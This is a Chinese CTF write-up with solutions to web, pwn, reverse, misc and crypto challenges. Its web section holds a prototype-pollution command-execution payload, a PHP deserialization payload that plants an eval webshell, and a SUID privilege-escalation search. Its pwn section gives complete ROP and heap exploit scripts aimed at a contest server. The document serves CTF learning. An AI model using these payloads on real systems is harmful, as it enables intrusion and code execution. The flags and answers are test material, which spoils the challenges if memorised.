WEB
ezGetFlag
当我们点击Get Flag时,提示我们请求方式错误
F12打开浏览器调试工具,查看数据包
发现当点击此按钮时,会对/backend.php文件发起get请求
们换成POST请求方式试试
得到flag
flag{60c92839-4049-41fb-9d8e-fdfc67ed8a0c}
ezFindShell
首先下载源码,然后查找eval,GET.POST之类的关键字(也可以直接使用webshell查杀工具来分析)
发现只有一个文件中有POST
看到底部的3行代码
base64_decode($e)
解码后的内容作为回调函数,对数组 $arr
进行过滤
payload为
/1de9d9a55a824f4f8b6f37af76596baa.php?e=c3lzdGVt
post请求
cat /flag
cyberboard
打开源码,搜索password
得知用户名为admin
密码为password_you_don’t_know 登录后来到messages ,查看源码,看到合并对象的代码,推测出这题的考点可能在于nodejs原型链污染
重启容器,将execSync改成exec
{
"__proto__": {
"block": {
"type": "Text",
"line": "process.mAInModule.require('child_process').exec('cat /f* >> /app/public/js/hack.txt')"
}
}
}
得到flag
flag{d7923173-e217-45f3-b6c9-5c2deb384d04}
mysqlprobe
这道题的思路是搭建一个MySQL_Fake_Server,然后用这个题目容器去连接,用LOAD DATA去读源码,然后进行审计
https://gIThub.com/4ra1n/mysql-fake-server
python3 main.py -l 0.0.0.0 -p 3306 -f /var/www/html/index.php
得到源码
<?php
error_reporting(0);
class Mysql {
public $debug = 1;
public $database;
public $hostname;
public $port;
public $charset = "utf8";
public $username;
public $password;
public function __construct($database, $hostname, $port, $username, $password) {
$this->database = $database;
$this->hostname = $hostname;
$this->port = $port;
$this->username = $username;
$this->password = $password;
}
protected function connect() {
$dsn = "mysql:host=".$this->hostname.";port=".$this->port.";dbname=".$this-
>database.";charset=".$this->charset;
try {
$this->pdo = new PDO($dsn, $this->username, $this->password, array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
));
$this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if ($this->debug) {
echo "<script>showAlert('Connection Successful!');</script>";
$this->query("select flag from flag");
}
} catch (PDOException $e) {
if ($this->debug) {
echo "<script>showAlert('Connection Failed: " . addslashes($e-
>getMessage()) . "');</script>";
}
}
}
public function query($sql) {
return $this->pdo->query($sql);
}
public function __destruct()
{
$this->connect();
}
}
class Backdooor{
public $cmd;
public function __toString(){
exec($this->cmd);
return '';
}
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];
$database = $_POST['database'];
$port = intval($_POST['port']);
$mysql = new Mysql($database, $host, $port, $username, $password);
$mysqlser = serialize($mysql);
$mysqlser = str_replace("flag", "", $mysqlser);
unserialize($mysqlser);
}
?>
构造pop链,反序列化字符逃逸,然后从username传入
POST:
host=127.0.0.1&port=1&username=flagflagflagflagflagflag&password=1";s:8:"password";O:9:"B
ackdooor":1:{s:3:"cmd";s:37:"echo '<?php eval($_POST[0]);?>'>a.php";}%7D&database=1
getshell以后发现无法读flag,使用suid提权
find / -user root -perm -4000 -print 2>/dev/null
diff /dev/null /flag
PWN
clock_in
先丢ida看一眼,进入main函数,F5查看伪代码
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
HOST = "39.106.48.123"
PORT = 43714
# 关键地址配置 (需要根据实际二进制文件调整)
ADDRESSES = {
"pop_rdi": 0x4011C5, # pop rdi; ret;
"ret": 0x4011C9, # ret 指令地址 (用于栈对齐)
"puts_plt": 0x401060, # puts@plt 地址
"puts_got": 0x403FD8, # puts@got 地址
"main_return": 0x401090, # 返回到的地址(通常是main函数)
"buffer_offset":72 # 溢出偏移量
}
def exploit():
r = remote(HOST, PORT)
# ================== 第一阶段:泄露libc地址 ==================
# 构造ROP链泄露puts真实地址
payload = flat(
cyclic(ADDRESSES["buffer_offset"]),
p64(ADDRESSES["pop_rdi"]),
p64(ADDRESSES["puts_got"]),
p64(ADDRESSES["puts_plt"]),
p64(ADDRESSES["main_return"]) # 返回程序主逻辑继续执行
)
# 发送payload
r.recvuntil("Your info: \n")
r.sendline(payload)
# 接收并解析泄露的地址
leaked_puts = r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')
puts_addr = u64(leaked_puts)
success(f"Leaked puts address: {hex(puts_addr)}")
# ================== 第二阶段:获取shell ==================
# 加载libc并计算基址
libc = ELF("./libc.so.6")
libc_base = puts_addr - libc.symbols["puts"]
success(f"Libc base address: {hex(libc_base)}")
# 计算关键函数/字符串地址
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 构造最终payload
payload = flat(
cyclic(ADDRESSES["buffer_offset"]),
p64(ADDRESSES["ret"]), # 栈对齐 (对抗movaps问题)
p64(ADDRESSES["pop_rdi"]),
p64(binsh_addr),
p64(system_addr),
p64(0xdeadbeef) # system的返回地址 (随意填充)
)
# 发送最终payload
r.sendline(payload)
# 进入交互模式
r.interactive()
if __name__ == "__main__":
exploit()
journey_story
保护全开
# file journey_story
journey_story: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=6125523a7fece481889a3f574ee63ff6b352d1d8, for GNU/Linux 3.2.0, not stripped
# checksec journey_story
[*]
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
在update函数发现,没有注意数组的边界,存在offbyone漏洞,可以多读一个字节,导致这里存在堆溢出漏洞
因为这道题是ubuntu20.04的libc。所以整体思路可以如下:
1.首先我们填充 0xc1 大小的内存块来填充 tcache,之后再释放它们来将相同的块重用。这一步的目的是为了触发堆的合并
与重用,并为后面的溢出准备场景。
2.在 add 函数中输入 0x28 大小的数据,在后续的编辑操作中利用off-by-one漏洞来泄露堆上的地址。编辑操作通过 edit 函数修改了一个内存块的内容,在此过程中特别修改了堆中的内容,为下一步泄露地址提供了基础。
3.构造一系列的堆分配与释放操作,最终通过对特定内存块的修改来泄露 libc 的基地址,以及堆的基地址。
4.编辑堆上的数据,修改了 __free_hook 的地址,使得后续的 free 操作将会触发我们指定的函数
5.利用堆中的溢出将 __free_hook 指向我们自己的 shellcode,执行系统命令。
6.使用 setcontext 函数跳转到构造的 ROP 链,完成恶意代码的执行。
#!/usr/bin/env python
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.log_level = 'debug'
# io = process("./journey_story")
# io = remote("127.0.0.1", 9999)
io = remote("39.106.48.123", 32916)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.31.so")
def add(size, content):
io.sendlineafter(b"Choose an option: ", "1")
io.sendlineafter(b"): ", size)
io.sendlineafter(b"s): ", content)
def edit(idx, content):
io.sendlineafter(b"Choose an option: ", "3")
io.sendlineafter(b"31): ", str(idx))
io.sendlineafter(b"s): ", content)
def show():
io.sendlineafter(b"Choose an option: ", b"4")
def free(idx):
io.sendlineafter(b"Choose an option: ", b"2")
io.sendlineafter(b"31): ", str(idx))
def exp():
# fill up 0xc1 tcache
for i in range(7):
add(b"0xb0", b'aaaa')
for i in range(7):
free(i)
# off-by-one to leak libc_base
for i in range(6):
add(b"0x28", b'aaaa') # 0-5
edit(0, b'b' * 0x28 + b'\xc1')
free(1)
add(b"0x28", b'flag\x00') # 1
show()
io.recvuntil("Story 2 (size 0x28): ")
__main_arena = u64(io.recv(6).ljust(8, b'\x00')) - 96
print(hex(__main_arena))
__malloc_hook = __main_arena - 0x10
print(hex(__malloc_hook))
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success("libc_base====>" + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.success("free_hook====>" + hex(free_hook))
# overlapping to leak heap_base
for i in range(3):
add(b"0x28", b'cccc') # 6-8 <==> 2-4
free(2)
free(3)
show()
io.recvuntil("Story 7 (size 0x28): ")
heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr))
heap_base = heap_addr - 0x840
log.success("heap_base====>" + hex(heap_base))
# hijack __free_hook
edit(7, p64(free_hook) + b'\x0a')
log.success("heap_base====>" + hex(heap_base))
magic = libc_base + 0x151BB0
add(b"0x28", b'dddd') # 2
add(b"0x28", p64(magic)) # 3
# gadgets
pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_r12_ret = libc_base + 0x0000000000119431
ret = libc_base + 0x0000000000023b96
syscall = libc_base + 0x00000000000630a9
flag_addr = heap_base + 0x810
log.success("pop_rax_ret====>" + hex(pop_rax_ret))
log.success("pop_rdi_ret====>" + hex(pop_rdi_ret))
log.success("pop_rsi_ret====>" + hex(pop_rsi_ret))
log.success("ret====>" + hex(ret))
log.success("syscall====>" + hex(syscall))
log.success("flag_addr====>" + hex(flag_addr))
# open
orw_rop = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
# read
orw_rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0) + p64(libc_base + libc.sym['read'])
# write
orw_rop += p64(pop_rdi_ret) + p64(1) + p64(libc_base + libc.sym['write'])
rop_addr = heap_base + 0x660
jmp_addr = heap_base + 0x720
setcontext = libc_base + 0x54f5d
# construct heap & trigger __free_hook
add(b"0xb0", p64(jmp_addr) * 2 + b'a' * 0x10 + p64(setcontext) + b'a' * 0x78 + p64(rop_addr) + p64(ret)) # 9
sleep(1)
io.sendlineafter(b"Choose an option: ", b"1")
io.sendlineafter(b"Choose an option: ", b"1")
io.sendlineafter(b"): ", b"0xb0")
io.sendlineafter(b"s): ", orw_rop)
free(9)
io.interactive()
exp()
Reverse
EnterGame
动调导出s2的数组
unsigned char data[42] = {
0x5E, 0x13, 0xAA, 0xD3, 0x87, 0x75, 0x2B, 0x7A, 0x1B, 0x16, 0x04, 0xA3, 0x49, 0x7E, 0x1D, 0xD2,
0x6B, 0x5D, 0x58, 0x40, 0x5E, 0x44, 0x63, 0x59, 0x48, 0x51, 0x0D, 0x54, 0x5E, 0x58, 0x55, 0x58,
0xAD, 0x82, 0xAF, 0xDC, 0xE7, 0xAB, 0x58, 0x5D, 0xCE, 0xC1
};
解密
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// 定义宏:循环左移操作
#define ROTATE(v, c) ((v << c) | (v >> (32 - c)))
// 定义宏:四分之一轮操作
#define QUARTERROUND(a, b, c, d) \
x[a] += x[b]; x[d] = ROTATE(x[d] ^ x[a], 16); \
x[c] += x[d]; x[b] = ROTATE(x[b] ^ x[c], 12); \
x[a] += x[b]; x[d] = ROTATE(x[d] ^ x[a], 8); \
x[c] += x[d]; x[b] = ROTATE(x[b] ^ x[c], 7);
// ChaCha20 的一个块操作
void chacha20_block(uint32_t out[16], const uint32_t in[16]) {
uint32_t x[16];
memcpy(x, in, sizeof(uint32_t) * 16);
for (int i = 0; i < 10; i++) { // 20 轮,每轮 2 次操作
QUARTERROUND(0, 4, 8, 12);
QUARTERROUND(1, 5, 9, 13);
QUARTERROUND(2, 6, 10, 14);
QUARTERROUND(3, 7, 11, 15);
QUARTERROUND(0, 5, 10, 15);
QUARTERROUND(1, 6, 11, 12);
QUARTERROUND(2, 7, 8, 13);
QUARTERROUND(3, 4, 9, 14);
}
for (int i = 0; i < 16; i++) {
out[i] = x[i] + in[i];
}
}
// ChaCha20 解密函数
void chacha20_decrypt(const uint8_t *key, const uint8_t *nonce, const uint8_t *ciphertext,
uint8_t *plaintext, int length) {
uint32_t state[16] = {
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574, // "expand 32-byte k"
((uint32_t *)key)[0], ((uint32_t *)key)[1], ((uint32_t *)key)[2], ((uint32_t *)key)[3],
((uint32_t *)key)[4], ((uint32_t *)key)[5], ((uint32_t *)key)[6], ((uint32_t *)key)[7],
0, 0, ((uint32_t *)nonce)[0], ((uint32_t *)nonce)[1]
};
uint8_t block[64];
for (int i = 0; i < length; i += 64) {
chacha20_block((uint32_t *)block, state);
state[12]++;
for (int j = 0; j < 64 && i + j < length; j++) {
plaintext[i + j] = ciphertext[i + j] ^ block[j];
}
}
}
// 打印十六进制数据
void print_hex(const uint8_t *data, int length) {
for (int i = 0; i < length; i++) {
printf("%02x", data[i]);
}
printf("\n");
}
int main() {
const uint8_t key[32] = "Youth Strengthens the Nation"; // 32 字节密钥
const uint8_t nonce[8] = "01234567"; // 8 字节随机数
// 给定的加密后的密文
uint8_t expected_ciphertext[] = {
0x5e, 0x13, 0xaa, 0xd3, 0x87, 0x75, 0x2b, 0x7a,
0x1b, 0x16, 0x04, 0xa3, 0x49, 0x7e, 0x1d, 0xd2,
0x6b, 0x5d, 0x58, 0x40, 0x5e, 0x44, 0x63, 0x59,
0x48, 0x51, 0x0d, 0x54, 0x5e, 0x58, 0x55, 0x58,
0xad, 0x82, 0xaf, 0xdc, 0xe7, 0xab, 0x58, 0x5d,
0xce, 0xc1
};
// 创建一个足够大的数组来存储解密后的文本
uint8_t decrypted[sizeof(expected_ciphertext)];
// 解密
chacha20_decrypt(key, nonce, expected_ciphertext, decrypted, sizeof(expected_ciphertext));
// 打印解密后的十六进制数据,以检查数据是否正确解密
printf("解密后的结果(十六进制):\n");
print_hex(decrypted, sizeof(expected_ciphertext));
// 打印解密后的文本
printf("解密后的结果(文本):\n");
printf("%s\n", decrypted);
return 0;
}
flag{385915ad-8f32-49d0-94c3-0067f1dad1bd}
Flip_over
反编译后打开libnative-lib.so,IDA搜索flag
看然后看java层主逻辑在validateAndEncrypt()函数里,大概逻辑的是取flagflag这个字符串作为密钥把”a4c3f8927d9b8e6d6e483fa2cd0193b0a6e2f19c8b47d5a8f3c7a91e8d4b9f67”先进行RC4加密再进行DES_ECB加密,最后再与while的0x21和密后的数据进行异或后,与密文比较。解密时提取数据,把异或逆一下,直接用赛博厨师解密。
CyberChef_v10.18.8.html#recipe=RC4({'option':'UTF8','string':'flagflag'},'Latin1','Hex')DES_Encrypt({'option':'UTF8','string':'flagflag'},{'option':'Hex','string':''},'ECB','Hex','Raw')XOR({'option':'Hex','string':'1E5881791AD962F4E39EA7A6A9010078A62DC6F3C81F1447954FF1CBA1BEd0AF93AF338150ABDD89E28E'},'Standard',false)XOR({'option':'Hex','string':'0x21'},'Standard',false)&input=YTRjM2Y4OTI3ZDliOGU2ZDZlNDgzZmEyY2QwMTkzYjBhNmUyZjE5YzhiNDdkNWE4ZjNjN2E5MWU4ZDRiOWY2Nw
flag{b92d40df-840a-43a8-bdb4-5de79eca13f4}
MISC
whitepic
附件下载下来,010打开
Gif头,将后缀修改打开,看到第二帧
flag{passion_is_the_greatest_teacher}
Crypto
Classics
这里可以看到附件给出了密文和加密过程
先base32编码,然后base64编码,然后rot13回转3位,然后Atbash
cipher,最后Vigenère Encode(key为GAMELAB)将他反向解密这里rot13回转3位,那么我们解密就是回转26-3=23位
flag{2834d185-a1da-4fb1-8bac-59076eb6a634}
AliceAES
根据提示得知使用AES在CBC模式下加密消息,并将加密结果以HEX格式与Bob分享。
获取key和iv
在线工具加密一下
得到df8553800c822f5d8d24461856c078b4 提交Ciphertext
easymath
直接分解n,得到p,q
然后RSA解题脚本
from Crypto.Util.number import long_to_bytes, inverse
n = 739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
c = 229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969995453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743
e = 65537
p = 24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444200118840639944511822211712755447685147549629637310805120817903
q = 30246942489892106712702239024133721453592842183923733460515110118344404699532017493383428137697227815754741688919151294652492006534840589468962295623069884232619077280815851563195685517196295248643553001644121714958636538938848623892827992267767358030468030240236589927767000556188518269847757669474128501561192367465343050094302650720121351543751423298130335191141395620744634566228434135430114855211983270131333333081108536699301711234514426855659414263828163630092200163488598896179597996128556748173083374014319100056717308084410389660477779719495877439609162161870536882293104016630319703274657500915447940613453
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("Decrypted Flag:", flag.decode())
暂无评论内容